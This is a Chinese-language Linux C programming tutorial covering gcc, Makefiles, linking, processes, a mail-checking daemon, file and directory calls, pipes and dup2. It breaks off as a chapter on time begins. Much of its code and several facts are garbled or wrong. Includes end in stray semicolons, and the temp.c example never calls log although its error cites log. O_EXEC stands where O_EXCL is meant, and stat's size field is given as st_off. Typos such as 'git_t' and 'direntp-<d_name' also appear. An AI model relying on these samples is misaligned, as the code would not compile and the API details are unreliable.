Linux 操作系统

语言编程入门

二次制作版

整理编写：007xiong
原　　文：Hoyt 等
二次制作：AureoLEO　MAIL：wangzihao[AT]gmail[DOT]com　　QQ：15959622

目 录

第一章 基础知识

前 言

本章介绍在 LINUX 下进行 C 语言编程所需要的基础知识.在这篇文章当中,我们将会学到以下内容：

- 源程序编译
- Makefile 的编写
- 程序库的链接
- 程序的调试
- 头文件和系统求助

1.源程序的编译

在 Linux 下面,如果要编译一个 C 语言源程序,我们要使用 GNU 的 gcc 编译器。下面我们以一个实例来说明如何使用 gcc 编译器。假设我们有下面一个非常简单的源程序(hello.c)：

```
int main(int argc,char **argv)
{
printf("Hello Linux\n");
}
```

要编译这个程序,我们只要在命令行下执行：

```
gcc -o hello hello.c
```

gcc 编译器就会为我们生成一个 hello 的可执行文件.执行./hello 就可以看到程序的输出结果了.命令行中 gcc 表示我们是用 gcc 来编译我们的源程序，-o 选项表示我们要求编译器给我们输出的可执行文件名为 hello 而 hello.c 是我们的源程序文件。

gcc 编译器有许多选项,一般来说我们只要知道其中的几个就够了。-o 选项我们已经知道了,表示我们要求输出的可执行文件名。 -c 选项表示我们只要求编译器输出目标代码,而不必要输出可执行文件。 -g 选项表示我们要求编译器在编译的时候提供我们以后对程序进行调试的信息。

知道了这三个选项,我们就可以编译我们自己所写的简单的源程序了,如果你想要知道更多的选项,可以查看 gcc 的帮助文档，那里有着许多对其它选项的详细说明。

2.Makefile 的编写

假设我们有下面这样的一个程序,源代码如下：

```
/* main.c */
#include "mytool1.h"
#include "mytool2.h"
int main(int argc,char **argv)
{
mytool1_print("hello");
mytool2_print("hello");
}
/* mytool1.h */
#ifndef _MYTOOL_1_H
#define _MYTOOL_1_H
void mytool1_print(char *print_str);
#endif
/* mytool1.c */
```

```
#include "mytool1.h"
void mytool1_print(char *print_str)
{
printf("This is mytool1 print %s\n",print_str);
}
/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H
void mytool2_print(char *print_str);
#endif
/* mytool2.c */
#include "mytool2.h"
void mytool2_print(char *print_str)
{
printf("This is mytool2 print %s\n",print_str);
}
```

当然由于这个程序是很短的我们可以这样来编译

```
gcc -c main.c
gcc -c mytool1.c
gcc -c mytool2.c
gcc -o main main.o mytool1.o mytool2.o
```

这样的话我们也可以产生 main 程序,而且也不时很麻烦.但是如果我们考虑一下如果有一天我们修改了其中的一个文件(比如说 mytool1.c)那么我们难道还要重新输入上面的命令?也许你会说,这个很容易解决啊，我写一个 SHELL 脚本,让她帮我去完成不就可以了.是的对于这个程序来说,是可以起到作用的，但是当我们把事情想的更复杂一点,如果我们的程序有几百个源程序的时候,难道也要编译器重新一个一个的去编译?

为此,聪明的程序员们想出了一个很好的工具来做这件事情,这就是 make.我们只要执行以下 make,就可以把上面的问题解决掉.在我们执行 make 之前,我们要先编写一个非常重要的文件.--Makefile.对于上面的那个程序来说,可能的一个 Makefile 的文件是：

```
# 这是上面那个程序的 Makefile 文件
main：main.o mytool1.o mytool2.o
gcc -o main main.o mytool1.o mytool2.o
main.o：main.c mytool1.h mytool2.h
gcc -c main.c
mytool1.o：mytool1.c mytool1.h
gcc -c mytool1.c
mytool2.o：mytool2.c mytool2.h
gcc -c mytool2.c
```

有了这个 Makefile 文件,不过我们什么时候修改了源程序当中的什么文件,我们只要执行 make 命令，我们的编译器都只会去编译和我们修改的文件有关的文件,其它的文件她连理都不想去理的。

下面我们学习 Makefile 是如何编写的。

在 Makefile 中也#开始的行都是注释行.Makefile 中最重要的是描述文件的依赖关系的说明.一般的格式是：

target： components
TAB rule
第一行表示的是依赖关系.第二行是规则.
比如说我们上面的那个 Makefile 文件的第二行
main：main.o mytool1.o mytool2.o
表示我们的目标(target)main 的依赖对象(components)是 main.o mytool1.o mytool2.o
当倚赖的对象在目标修改后修改的话,就要去执行规则一行所指定的命令.就象我们的上面那个 Makefile 第三行所说的一样要执行 gcc -o main main.o mytool1.o mytool2.o
注意规则一行中的 TAB 表示那里是一个 TAB 键
Makefile 有三个非常有用的变量.分别是$@,,<代表的意义分别是：
$@--目标文件,$^--所有的依赖文件,$<--第一个依赖文件.
如果我们使用上面三个变量,那么我们可以简化我们的 Makefile 文件为：

```
# 这是简化后的 Makefile
main：main.o mytool1.o mytool2.o
gcc -o $@ $^
main.o：main.c mytool1.h mytool2.h
gcc -c $<
mytool1.o：mytool1.c mytool1.h
gcc -c $<
mytool2.o：mytool2.c mytool2.h
gcc -c $<
```

经过简化后我们的 Makefile 是简单了一点,不过人们有时候还想简单一点.这里我们学习一个 Makefile 的缺省规则

```
..c.o：
gcc -c $<
```

这个规则表示所有的 .o 文件都是依赖与相应的.c 文件的.例如 mytool.o 依赖于 mytool.c
这样 Makefile 还可以变为：

```
# 这是再一次简化后的 Makefile
main：main.o mytool1.o mytool2.o
gcc -o $@ $^
..c.o：
gcc -c $<
```

好了,我们的 Makefile 也差不多了,如果想知道更多的关于 Makefile 规则可以查看相应的文档。

3.程序库的链接

试着编译下面这个程序

```
/* temp.c */
#include <math.h>;
int main(int argc,char **argv)
```

```
{
double value;
printf("Value：%f\n",value);
}
```

这个程序相当简单,但是当我们用 gcc -o temp temp.c 编译时会出现下面所示的错误.

```
/tmp/cc33Kydu.o： In function `main'：
/tmp/cc33Kydu.o(.text+0xe)： undefined reference to `log'
collect2： ld returned 1 exit status
```

出现这个错误是因为编译器找不到 log 的具体实现.虽然我们包括了正确的头文件,但是我们在编译的时候还是要连接确定的库.在 Linux 下,为了使用数学函数,我们必须和数学库连接,为此我们要加入 -lm 选项. gcc -o temp temp.c -lm 这样才能够正确的编译.也许有人要问,前面我们用 printf 函数的时候怎么没有连接库呢?是这样的,对于一些常用的函数的实现,gcc 编译器会自动去连接一些常用库,这样我们就没有必要自己去指定了. 有时候我们在编译程序的时候还要指定库的路径,这个时候我们要用到编译器的 -L 选项指定路径.比如说我们有一个库在 /home/hoyt/mylib 下,这样我们编译的时候还要加上 -L/home/hoyt/mylib.对于一些标准库来说,我们没有必要指出路径.只要它们在起缺省库的路径下就可以了.系统的缺省库的路径/lib /usr/lib /usr/local/lib 在这三个路径下面的库,我们可以不指定路径.

还有一个问题,有时候我们使用了某个函数,但是我们不知道库的名字,这个时候怎么办呢?很抱歉,对于这个问题我也不知道答案,我只有一个傻办法.首先,我到标准库路径下面去找看看有没有和我用的函数相关的库,我就这样找到了线程(thread)函数的库文件(libpthread.a). 当然,如果找不到,只有一个笨方法.比如我要找 sin 这个函数所在的库. 就只好用 nm -o /lib/*.so|grep sin>;~/sin 命令,然后看~/sin 文件,到那里面去找了. 在 sin 文件当中,我会找到这样的一行 libm-2.1.2.so：00009fa0 W sin 这样我就知道了 sin 在 libm-2.1.2.so 库里面,我用 -lm 选项就可以了(去掉前面的 lib 和后面的版本标志,就剩下 m 了所以是 -lm). 如果你知道怎么找,请赶快告诉我,我回非常感激的.谢谢!

4.程序的调试

我们编写的程序不太可能一次性就会成功的,在我们的程序当中,会出现许许多多我们想不到的错误,这个时候我们就要对我们的程序进行调试了.

最常用的调试软件是 gdb.如果你想在图形界面下调试程序,那么你现在可以选择 xxgdb.记得要在编译的时候加入 -g 选项.关于 gdb 的使用可以看 gdb 的帮助文件.由于我没有用过这个软件,所以我也不能够说出如何使用. 不过我不喜欢用 gdb.跟踪一个程序是很烦的事情,我一般用在程序当中输出中间变量的值来调试程序的.当然你可以选择自己的办法,没有必要去学别人的.现在有了许多 IDE 环境,里面已经自己带了调试器了.你可以选择几个试一试找出自己喜欢的一个用.

5.头文件和系统求助

有时候我们只知道一个函数的大概形式,不记得确切的表达式,或者是不记得着函数在那个头文件进行了说明.这个时候我们可以求助系统.
比如说我们想知道 fread 这个函数的确切形式,我们只要执行 man fread 系统就会输出着函数的详细解释的.和这个函数所在的头文件<stdio.h>;说明了. 如果我们要 write 这个函数的说明,当我们执行 man write 时,输出的结果却不是我们所需要的. 因为我们要的是 write 这个函数的说明,可是出来的却是 write 这个命令的说明.为了得到 write 的函数说明我们要用 man 2 write. 2 表示我们用的 write 这个函数是系统调用函数,还有一个我们常用的是 3 表示函数是 C 的库函数.
记住不管什么时候,man 都是我们的最好助手。

好了,这一章就讲这么多了,有了这些知识我们就可以进入激动人心的 Linux 下的 C 程序探险活动。

第二章 进程介绍

前 言

这篇文章是用来介绍在 Linux 下和进程相关的各个概念.我们将会学到：

- 进程的概念
- 进程的身份
- 进程的创建
- 守护进程的创建

1. 进程的概念

Linux 操作系统是面向多用户的.在同一时间可以有许多用户向操作系统发出各种命令.那么操作系统是怎么实现多用户的环境呢? 在现代的操作系统里面,都有程序和进程的概念.那么什么是程序,什么是进程呢? 通俗的讲程序是一个包含可以执行代码的文件,是一个静态的文件.而进程是一个开始执行但是还没有结束的程序的实例.就是可执行文件的具体实现. 一个程序可能有许多进程,而每一个进程又可以有许多子进程.依次循环下去,而产生子孙进程. 当程序被系统调用到内存以后,系统会给程序分配一定的资源(内存,设备等等)然后进行一系列的复杂操作,使程序变成进程以供系统调用.在系统里面只有进程没有程序,为了区分各个不同的进程,系统给每一个进程分配了一个 ID(就象我们的身份证)以便识别. 为了充分的利用资源,系统还对进程区分了不同的状态.将进程分为新建,运行,阻塞,就绪和完成五个状态. 新建表示进程正在被创建,运行是进程正在运行,阻塞是进程正在等待某一个事件发生,就绪是表示系统正在等待 CPU 来执行命令,而完成表示进程已经结束了系统正在回收资源. 关于进程五个状态的详细解说我们可以看《操作系统》上面有详细的解说。

2. 进程的标志

上面我们知道了进程都有一个 ID,那么我们怎么得到进程的 ID 呢?系统调用 getpid 可以得到进程的 ID,而 getppid 可以得到父进程(创建调用该函数进程的进程)的 ID.

```
#include <unistd>;
pid_t getpid(void);
pid_t getppid(void);
```

进程是为程序服务的,而程序是为了用户服务的.系统为了找到进程的用户名,还为进程和用户建立联系.这个用户称为进程的所有者.相应的每一个用户也有一个用户 ID.通过系统调用 getuid 可以得到进程的所有者的 ID.由于进程要用到一些资源,而 Linux 对系统资源是进行保护的,为了获取一定资源进程还有一个有效用户 ID.这个 ID 和系统的资源使用有关,涉及到进程的权限. 通过系统调用 geteuid 我们可以得到进程的有效用户 ID. 和用户 ID 相对应进程还有一个组 ID 和有效组 ID 系统调用 getgid 和 getegid 可以分别得到组 ID 和有效组 ID

```
#include <unistd>;
#include <sys/types.h>;

uid_t getuid(void);
uid_t geteuid(void);
gid_t getgid(void);
git_t getegid(void);
```

有时候我们还会对用户的其他信息感兴趣(登录名等等),这个时候我们可以调用 getpwuid 来得到.

```
struct passwd {
char *pw_name; /* 登录名称 */
char *pw_passwd; /* 登录口令 */
uid_t pw_uid; /* 用户 ID */
gid_t pw_gid; /* 用户组 ID */
char *pw_gecos; /* 用户的真名 */
char *pw_dir; /* 用户的目录 */
char *pw_shell; /* 用户的 SHELL */
};
#include <pwd.h>;
#include <sys/types.h>;

struct passwd *getpwuid(uid_t uid);
```

下面我们学习一个实例来实践一下上面我们所学习的几个函数：

```
#include <unistd.h>;
#include <pwd.h>;
#include <sys/types.h>;
#include <stdio.h>;
int main(int argc,char **argv)
{
pid_t my_pid,parent_pid;
uid_t my_uid,my_euid;
gid_t my_gid,my_egid;
struct passwd *my_info;
my_pid=getpid();
parent_pid=getppid();
my_uid=getuid();
my_euid=geteuid();
my_gid=getgid();
my_egid=getegid();
my_info=getpwuid(my_uid);
printf("Process ID：%ld\n",my_pid);
printf("Parent ID：%ld\n",parent_pid);
printf("User ID：%ld\n",my_uid);
printf("Effective User ID：%ld\n",my_euid);
printf("Group ID：%ld\n",my_gid);
printf("Effective Group ID：%ld\n",my_egid)：
if(my_info)
{
printf("My Login Name：%s\n" ,my_info->;pw_name);
printf("My Password ：%s\n" ,my_info->;pw_passwd);
printf("My User ID ：%ld\n",my_info->;pw_uid);
printf("My Group ID ：%ld\n",my_info->;pw_gid);
printf("My Real Name：%s\n" ,my_info->;pw_gecos);
```

```
printf("My Home Dir ： %s\n", my_info->;pw_dir);
printf("My Work Shell： %s\n", my_info->;pw_shell);
}
}
```

3．进程的创建

创建一个进程的系统调用很简单.我们只要调用 fork 函数就可以了.

```
#include <unistd.h>;

pid_t fork();
```

当一个进程调用了 fork 以后,系统会创建一个子进程.这个子进程和父进程不同的地方只有他的进程 ID 和父进程 ID,其他的都是一样.就象符进程克隆(clone)自己一样.当然创建两个一模一样的进程是没有意义的.为了区分父进程和子进程,我们必须跟踪 fork 的返回值. 当 fork 掉用失败的时候(内存不足或者是用户的最大进程数已到)fork 返回-1,否则 fork 的返回值有重要的作用.对于父进程 fork 返回子进程的 ID,而对于 fork 子进程返回 0.我们就是根据这个返回值来区分父子进程的. 父进程为什么要创建子进程呢?前面我们已经说过了 Linux 是一个多用户操作系统,在同一时间会有许多的用户在争夺系统的资源.有时进程为了早一点完成任务就创建子进程来争夺资源. 一旦子进程被创建,父子进程一起从 fork 处继续执行,相互竞争系统的资源.有时候我们希望子进程继续执行,而父进程阻塞直到子进程完成任务.这个时候我们可以调用 wait 或者 waitpid 系统调用.

```
#include <sys/types.h>;
#include <sys/wait.h>;

pid_t wait(int *stat_loc);
pid_t waitpid(pid_t pid,int *stat_loc,int options);
```

wait 系统调用会使父进程阻塞直到一个子进程结束或者是父进程接受到了一个信号.如果没有父进程没有子进程或者他的子进程已经结束了 wait 回立即返回.成功时(因一个子进程结束)wait 将返回子进程的 ID,否则返回-1,并设置全局变量 errno.stat_loc 是子进程的退出状态.子进程调用 exit,_exit 或者是 return 来设置这个值. 为了得到这个值 Linux 定义了几个宏来测试这个返回值.

WIFEXITED：判断子进程退出值是非 0

WEXITSTATUS：判断子进程的退出值(当子进程退出时非 0).

WIFSIGNALED：子进程由于有没有获得的信号而退出.

WTERMSIG：子进程没有获得的信号号(在 WIFSIGNALED 为真时才有意义).

waitpid 等待指定的子进程直到子进程返回.如果 pid 为正值则等待指定的进程(pid).如果为 0 则等待任何一个组 ID 和调用者的组 ID 相同的进程.为-1 时等同于 wait 调用.小于-1 时等待任何一个组 ID 等于 pid 绝对值的进程. stat_loc 和 wait 的意义一样. options 可以决定父进程的状态.可以取两个值 WNOHANG：父进程立即返回当没有子进程存在时.

WUNTACHE

D：当子进程结束时 waitpid 返回,但是子进程的退出状态不可得到.

父进程创建子进程后,子进程一般要执行不同的程序.为了调用系统程序,我们可以使用系

统调用 exec 族调用.exec 族调用有着 5 个函数.

```
#include <unistd.h>;
int execl(const char *path,const char *arg,...);
int execlp(const char *file,const char *arg,...);
int execle(const char *path,const char *arg,...);
int execv(const char *path,char *const argv[]);
int execvp(const char *file,char *const argv[]);
```

exec 族调用可以执行给定程序.关于 exec 族调用的详细解说可以参考系统手册(man exec l). 下面我们来学习一个实例.注意编译的时候要加 -lm 以便连接数学函数库.

```
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/wait.h>;
#include <stdio.h>;
#include <errno.h>;
#include <math.h>;
void main(void)
{
pid_t child;
int status;
printf("This will demostrate how to get child status\n");
if((child=fork())==-1)
{
printf("Fork Error ： %s\n",strerror(errno));
exit(1);
}
else if(child==0)
{
int i;
printf("I am the child： %ld\n",getpid());
for(i=0;i<1000000;i++) sin(i);
i=5;
printf("I exit with %d\n",i);
exit(i);
}
while(((child=wait(&status))==-1)&(errno==EINTR));
if(child==-1)
printf("Wait Error： %s\n",strerror(errno));
else if(!status)
printf("Child %ld terminated normally return status is zero\n",
child);
else if(WIFEXITED(status))
printf("Child %ld terminated normally return status is %d\n",
child,WEXITSTATUS(status));
else if(WIFSIGNALED(status))
```

```
printf("Child %ld terminated due to signal %d znot caught\n",
child,WTERMSIG(status));
}
```

strerror 函数会返回一个指定的错误号的错误信息的字符串.

4. 守护进程的创建

如果你在 DOS 时代编写过程序,那么你也许知道在 DOS 下为了编写一个常驻内存的程序我们要编写多少代码了.相反如果在 Linux 下编写一个"常驻内存"的程序却是很容易的.我们只要几行代码就可以做到. 实际上由于 Linux 是多任务操作系统,我们就是不编写代码也可以把一个程序放到后台去执行的.我们只要在命令后面加上&符号 SHELL 就会把我们的程序放到后台去运行的. 这里我们"开发"一个后台检查邮件的程序.这个程序每个一个指定的时间回去检查我们的邮箱,如果发现我们有邮件了,会不断的报警(通过机箱上的小喇叭来发出声音). 后面有这个函数的加强版本加强版本

后台进程的创建思想： 首先父进程创建一个子进程.然后子进程杀死父进程(是不是很无情?). 信号处理所有的工作由子进程来处理.

```
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <signal.h>;
/* Linux 的默任个人的邮箱地址是 /var/spool/mail/用户的登录名 */
#define MAIL "/var/spool/mail/hoyt"
/* 睡眠 10 秒钟 */

#define SLEEP_TIME 10
main(void)
{
pid_t child;
if((child=fork())==-1)
{
printf("Fork Error：%s\n",strerror(errno));
exit(1);
}
else if(child>;0)
while(1);
if(kill(getppid(),SIGTERM)==-1)
{
printf("Kill Parent Error：%s\n",strerror(errno));
exit(1);
```

```
}
{
int mailfd;
while(1)
{
if((mailfd=open(MAIL,O_RDONLY))!=-1)
{
fprintf(stderr,"%s","\007");
close(mailfd);
}
sleep(SLEEP_TIME);
}
}
}
```

你可以在默认的路径下创建你的邮箱文件,然后测试一下这个程序.当然这个程序还有很多地方要改善的.我们后面会对这个小程序改善的,再看我的改善之前你可以尝试自己改善一下.比如让用户指定邮相的路径和睡眠时间等等.相信自己可以做到的.动手吧,勇敢的探险者.

好了进程一节的内容我们就先学到这里了.进程是一个非常重要的概念,许多的程序都会用子进程.创建一个子进程是每一个程序员的基本要求!

第三章 文件操作

前 言

我们在这一节将要讨论 linux 下文件操作的各个函数.

- 文件的创建和读写
- 文件的各个属性
- 目录文件的操作
- 管道文件

1．文件的创建和读写

我假设你已经知道了标准级的文件操作的各个函数(fopen,fread,fwrite 等等).当然如果你不清楚的话也不要着急.我们讨论的系统级的文件操作实际上是为标准级文件操作服务的.

当我们需要打开一个文件进行读写操作的时候,我们可以使用系统调用函数 open.使用完成以后我们调用另外一个 close 函数进行关闭操作.

```
#include <fcntl.h>;
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;

int open(const char *pathname,int flags);
int open(const char *pathname,int flags,mode_t mode);
int close(int fd);
```

open 函数有两个形式.其中 pathname 是我们要打开的文件名(包含路径名称,缺省是认为在当前路径下面).flags 可以去下面的一个值或者是几个值的组合.

O_RDONLY：以只读的方式打开文件.
O_WRONLY：以只写的方式打开文件.
O_RDWR：以读写的方式打开文件.
O_APPEND：以追加的方式打开文件.
O_CREAT：创建一个文件.
O_EXEC：如果使用了 O_CREAT 而且文件已经存在,就会发生一个错误.
O_NOBLOCK：以非阻塞的方式打开一个文件.
O_TRUNC：如果文件已经存在,则删除文件的内容.

前面三个标志只能使用任意的一个.如果使用了 O_CREATE 标志,那么我们要使用 open 的第二种形式.还要指定 mode 标志,用来表示文件的访问权限.mode 可以是以下情况的组合.

S_IRUSR 用户可以读 S_IWUSR 用户可以写
S_IXUSR 用户可以执行 S_IRWXU 用户可以读写执行

S_IRGRP 组可以读 S_IWGRP 组可以写
S_IXGRP 组可以执行 S_IRWXG 组可以读写执行

S_IROTH 其他人可以读 S_IWOTH 其他人可以写
S_IXOTH 其他人可以执行 S_IRWXO 其他人可以读写执行

S_ISUID 设置用户执行 ID S_ISGID 设置组的执行 ID

我们也可以用数字来代表各个位的标志.Linux 总共用 5 个数字来表示文件的各种权限.00000.第一位表示设置用户 ID.第二位表示设置组 ID,第三位表示用户自己的权限位,第四

位表示组的权限,最后一位表示其他人的权限.
每个数字可以取 1(执行权限),2(写权限),4(读权限),0(什么也没有)或者是这几个值的和
..
比如我们要创建一个用户读写执行,组没有权限,其他人读执行的文件.设置用户 ID 位那么我们可以使用的模式是--1(设置用户 ID)0(组没有设置)7(1+2+4)0(没有权限,使用缺省)5(1+4)即 10705：
open("temp",O_CREAT,10705);
如果我们打开文件成功,open 会返回一个文件描述符.我们以后对文件的所有操作就可以对这个文件描述符进行操作了.
当我们操作完成以后,我们要关闭文件了,只要调用 close 就可以了,其中 fd 是我们要关闭的文件描述符.
文件打开了以后,我们就要对文件进行读写了.我们可以调用函数 read 和 write 进行文件的读写.

```
#include <unistd.h>;
ssize_t read(int fd, void *buffer,size_t count);
ssize_t write(int fd, const void *buffer,size_t count);
```

fd 是我们要进行读写操作的文件描述符,buffer 是我们要写入文件内容或读出文件内容的内存地址.count 是我们要读写的字节数.
对于普通的文件 read 从指定的文件(fd)中读取 count 字节到 buffer 缓冲区中(记住我们必须提供一个足够大的缓冲区),同时返回 count.
如果 read 读到了文件的结尾或者被一个信号所中断,返回值会小于 count.如果是由信号中断引起返回,而且没有返回数据,read 会返回-1,且设置 errno 为 EINTR.当程序读到了文件结尾的时候,read 会返回 0.
write 从 buffer 中写 count 字节到文件 fd 中,成功时返回实际所写的字节数.
下面我们学习一个实例,这个实例用来拷贝文件.

```
#include <unistd.h>;
#include <fcntl.h>;
#include <stdio.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <errno.h>;
#include <string.h>;
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int from_fd,to_fd;
int bytes_read,bytes_write;
char buffer[BUFFER_SIZE];
char *ptr;
if(argc!=3)
{
fprintf(stderr,"Usage：%s fromfile tofile\n\a",argv[0]);
exit(1);
}
```

```
/* 打开源文件 */
if((from_fd=open(argv[1],O_RDONLY))==-1)
{
fprintf(stderr,"Open %s Error：%s\n",argv[1],strerror(errno));
exit(1);
}
/* 创建目的文件 */
if((to_fd=open(argv[2],O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error：%s\n",argv[2],strerror(errno));
exit(1);
}
/* 以下代码是一个经典的拷贝文件的代码 */
while(bytes_read=read(from_fd,buffer,BUFFER_SIZE))
{
/* 一个致命的错误发生了 */
if((bytes_read==-1)&&(errno!=EINTR)) break;
else if(bytes_read>;0)
{
ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))
{
/* 一个致命错误发生了 */
if((bytes_write==-1)&&(errno!=EINTR))break;
/* 写完了所有读的字节 */
else if(bytes_write==bytes_read) break;
/* 只写了一部分,继续写 */
else if(bytes_write>;0)
{
ptr+=bytes_write;
bytes_read-=bytes_write;
}
}
/* 写的时候发生的致命错误 */
if(bytes_write==-1)break;
}
}
close(from_fd);
close(to_fd);
exit(0);
}
```

2. 文件的各个属性

文件具有各种各样的属性,除了我们上面所知道的文件权限以外,文件还有创建时间,大小等等属性.

有时侯我们要判断文件是否可以进行某种操作(读,写等等).这个时候我们可以使用 access 函数.

```
#include <unistd.h>;

int access(const char *pathname,int mode);
```

pathname：是文件名称,mode 是我们要判断的属性.可以取以下值或者是他们的组合.

R_OK 文件可以读,W_OK 文件可以写,X_OK 文件可以执行,F_OK 文件存在.当我们测试成功时,函数返回 0,否则如果有一个条件不符时,返回-1.

如果我们要获得文件的其他属性,我们可以使用函数 stat 或者 fstat.

```
#include <sys/stat.h>;
#include <unistd.h>;
int stat(const char *file_name,struct stat *buf);
int fstat(int filedes,struct stat *buf);
struct stat {
dev_t st_dev; /* 设备 */
ino_t st_ino; /* 节点 */
mode_t st_mode; /* 模式 */
nlink_t st_nlink; /* 硬连接 */
uid_t st_uid; /* 用户 ID */
gid_t st_gid; /* 组 ID */
dev_t st_rdev; /* 设备类型 */
off_t st_off; /* 文件字节数 */
unsigned long st_blksize; /* 块大小 */
unsigned long st_blocks; /* 块数 */
time_t st_atime; /* 最后一次访问时间 */
time_t st_mtime; /* 最后一次修改时间 */
time_t st_ctime; /* 最后一次改变时间(指属性) */
};
```

stat 用来判断没有打开的文件,而 fstat 用来判断打开的文件.我们使用最多的属性是 st_mode.通过着属性我们可以判断给定的文件是一个普通文件还是一个目录,连接等等.可以使用下面几个宏来判断.

S_ISLNK(st_mode)：是否是一个连接.S_ISREG 是否是一个常规文件.S_ISDIR 是否是一个目录 S_ISCHR 是否是一个字符设备.S_ISBLK 是否是一个块设备 S_ISFIFO 是否 是一个 FIFO 文件.S_ISSOCK 是否是一个 SOCKET 文件. 我们会在下面说明如何使用这几个宏的.

3. 目录文件的操作

在我们编写程序的时候，有时候会要得到我们当前的工作路径。C 库函数提供了 get cwd 来解决这个问题。

```
#include <unistd.h>;

char *getcwd(char *buffer,size_t size);
```

我们提供一个 size 大小的 buffer,getcwd 会把我们当前的路径考到 buffer 中.如果 buffer 太小,函数会返回-1 和一个错误号.

Linux 提供了大量的目录操作函数,我们学习几个比较简单和常用的函数.

```
#include <dirent.h>;
#include <unistd.h>;
#include <fcntl.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
int mkdir(const char *path,mode_t mode);
DIR *opendir(const char *path);
struct dirent *readdir(DIR *dir);
void rewinddir(DIR *dir);
off_t telldir(DIR *dir);
void seekdir(DIR *dir,off_t off);
int closedir(DIR *dir);
struct dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[NAME_MAX+1]; /* 文件名称 */
```

mkdir 很容易就是我们创建一个目录,opendir 打开一个目录为以后读做准备.readdir 读一个打开的目录.rewinddir 是用来重读目录的和我们学的 rewind 函数一样.closedir 是关闭一个目录.telldir 和 seekdir 类似与 ftee 和 fseek 函数.

下面我们开发一个小程序,这个程序有一个参数.如果这个参数是一个文件名,我们输出这个文件的大小和最后修改的时间,如果是一个目录我们输出这个目录下所有文件的大小和修改时间.

```
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <dirent.h>;
#include <time.h>;
static int get_file_size_time(const char *filename)
```

```
{
struct stat statbuf;
if(stat(filename,&statbuf)==-1)
{
printf("Get stat on %s Error：%s\n",
filename,strerror(errno));
return(-1);
}
if(S_ISDIR(statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))
printf("%s size：%ld bytes\tmodified at %s",
filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);
}
int main(int argc,char **argv)
{
DIR *dirp;
struct dirent *direntp;
int stats;
if(argc!=2)
{
printf("Usage：%s filename\n\a",argv[0]);
exit(1);
}
if(((stats=get_file_size_time(argv[1]))==0)||(stats==-1))exit(1);
if((dirp=opendir(argv[1]))==NULL)
{
printf("Open Directory %s Error：%s\n",
argv[1],strerror(errno));
exit(1);
}
while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp-<d_name)==-1)break;
closedir(dirp);
exit(1);
}
```

4．管道文件

Linux 提供了许多的过滤和重定向程序,比如 more cat

等等.还提供了< >; | <<等等重定向操作符.在这些过滤和重 定向程序当中,都用到了管

道这种特殊的文件.系统调用 pipe 可以创建一个管道.

```
#include<unistd.h>;

int pipe(int fildes[2]);
```

pipe 调用可以创建一个管道(通信缓冲区).当调用成功时,我们可以访问文件描述符 fildes[0],fildes[1].其中 fildes[0]是用来读的文件描述符,而 fildes[1]是用来写的文件描述符.

在实际使用中我们是通过创建一个子进程,然后一个进程写,一个进程读来使用的.

关于进程通信的详细情况请查看进程通信

```
#include <stdio.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <string.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/wait.h>;
#define BUFFER 255
int main(int argc,char **argv)
{
char buffer[BUFFER+1];
int fd[2];
if(argc!=2)
{
fprintf(stderr,"Usage：%s string\n\a",argv[0]);
exit(1);
}
if(pipe(fd)!=0)
{
fprintf(stderr,"Pipe Error：%s\n\a",strerror(errno));
exit(1);
}
if(fork()==0)
{
close(fd[0]);
printf("Child[%d] Write to pipe\n\a",getpid());
snprintf(buffer,BUFFER,"%s",argv[1]);
write(fd[1],buffer,strlen(buffer));
printf("Child[%d] Quit\n\a",getpid());
exit(0);
}
else
{
close(fd[1]);
printf("Parent[%d] Read from pipe\n\a",getpid());
```

```
memset(buffer,'\0',BUFFER+1);
read(fd[0],buffer,BUFFER);
printf("Parent[%d] Read：%s\n",getpid(),buffer);
exit(1);
}
}
```

为了实现重定向操作,我们需要调用另外一个函数 dup2.

```
#include <unistd.h>;

int dup2(int oldfd,int newfd);
```

dup2 将用 oldfd 文件描述符来代替 newfd 文件描述符,同时关闭 newfd 文件描述符.也就是说,所有向 newfd 操作都转到 oldfd 上面.下面我们学习一个例子,这个例子将标准输出重定向到一个文件.

```
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <string.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#define BUFFER_SIZE 1024
int main(int argc,char **argv)
{
int fd;
char buffer[BUFFER_SIZE];
if(argc!=2)
{
fprintf(stderr,"Usage：%s outfilename\n\a",argv[0]);
exit(1);
}
if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error：%s\n\a",argv[1],strerror(errno));
exit(1);
}
if(dup2(fd,STDOUT_FILENO)==-1)
{
fprintf(stderr,"Redirect Standard Out Error：%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Now,please input string");
fprintf(stderr,"(To quit use CTRL+D)\n");
while(1)
```

```
{
fgets(buffer,BUFFER_SIZE,stdin);
if(feof(stdin))break;
write(STDOUT_FILENO,buffer,strlen(buffer));
}
exit(0);
}
```

好了,文件一章我们就暂时先讨论到这里,学习好了文件的操作我们其实已经可以写出一些比较有用的程序了.我们可以编写一个实现例如 dir,mkdir,cp,mv 等等常用的文件操作命令了.

想不想自己写几个试一试呢?

第四章 时间概念

前 言

这一章我们学习 Linux 的时间表示和计算函数

- 时间的表示
- 时间的测量
- 计时器的使用

1.时间表示

在程序当中,我们经常要输出系统当前的时间,比如我们使用 date 命令的输出结果.这个时候我们可以使用下面两个函数

```
#include <time.h>;

time_t time(time_t *tloc);
char *ctime(const time_t *clock);
```

